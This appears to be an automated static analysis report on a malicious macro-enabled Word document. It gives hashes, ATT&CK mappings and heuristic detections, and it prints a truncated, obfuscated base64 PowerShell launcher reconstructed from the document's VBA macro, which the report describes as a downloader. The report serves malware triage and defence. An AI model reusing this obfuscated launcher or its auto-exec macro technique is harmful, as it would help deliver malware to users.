Malicious Office (OLE) / .DOCX — malware analysis report

Static analysis result for SHA-256 e5abd1707e24afbe…

MALICIOUS

Office (OLE) / .DOCX

153.1 KB Created: 2020-09-14 22:09:00 Authoring application: Microsoft Office Word
MD5: 84a6a3c254ca865125049c51631a38c9 SHA-1: 5f82bd078dd90b7633003b8aa954f6645d071cc8 SHA-256: e5abd1707e24afbeb2ad49977ec61f6da45392df2a709979f8f17a4b6d187002
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, indicate malicious intent. The presence of a macros.bas file further supports this. The VBA code appears to construct a command to execute a payload, likely involving PowerShell, and attempts to download it from a URL. The reconstructed command string is: "powershell -2vhaghsghfAGsAZABtAD0A2vhaghsghfKAAnAFkAaAAn2vhaghsghfACsAKAAnAGUA2vhaghsghfMAAnACsAJwBx2vhaghsghfAG8AdwAnACkA2vhaghsghfKQA7ACYAKAAn2vhaghsghfAG4AZQB3ACcA2vhaghsghfKwAnAC0AaQB02vhaghsghfAGUAbQAnACkA2vhaghsghfIAAkAGUAbgBW2vhaghsghfADoAVQBTAGUA2vhaghsghfUgBQAFIAbwBG2vhaghsghfAGkAbABlAFwA2vhaghsghfbQA0AE8AYgB52vhaghsghfAHgAYgBcAE8A2vhaghsghfMgBlAGUAMABR2vhaghsghfAGsAXAAgAC0A2vhaghsghfaQB0AGUAbQB02vhaghsghfAHkAcABlACAA2vhaghsghfAGQBpAFIAZQBj2vhaghsghfAFQAbwByAFkA2vhaghsghfOwBbAE4AZQB02vhaghsghfAC4AUwBlAHIA2vhaghsghfdgBpAGMAZQBQ2vhaghsghfAG8AaQBuAHQA2vhaghsghfTQBhAG4AYQBn2vhaghsghfAGUAcgBdADoA2vhaghsghfOgAiAHMAZQBg2vhaghsghfAGMAVQByAGAA2vhaghsghfSQBgAFQAeQBg2vhaghsghfAHAAUgBvAFQA2vhaghsghfTwBjAG8AbAAi2vhaghsghfACAAPQAgACgA2vhaghsghfKAAnAHQAJwAr2vhaghsghfACcAbABzACcA2vhaghsghfKQArACgAJwAx2vhaghsghfADIALAAnACsA2vhaghsghfJwAgACcAKwAn2vhaghsghfAHQAbABzADEA2vhaghsghfJwApACsAKAAn2vhaghsghfADEALAAnACsA2vhaghsghfJwAgACcAKQAr2vhaghsghfACgAJwB0AGwA2vhaghsghfJwArACcAcwAn2vhaghsghfACkAKQA7ACQA2vhaghsghfSgBvAGMAXwBy2vhaghsghfAHYAZwAgAD0A2vhaghsghfIAAoACcAVwAn2vhaghsghfACsAKAAnAF8A2vhaghsghfYwAnACsAJwAx2vhaghsghfACcAKQArACgA2vhaghsghfJwB5AHkAJwAr2vhaghsghfACcAegAnACkA2vhaghsghfKQA7ACQA. This indicates a downloader attempting to fetch and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9760527-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9760527-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
bf2dc6e4793502154f28a14458af4f5198ccc48932a5641a4c34f7f1fcdc0c82
vba-macro oletools.olevba.extract_macros (decoded VBA source) 18582 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.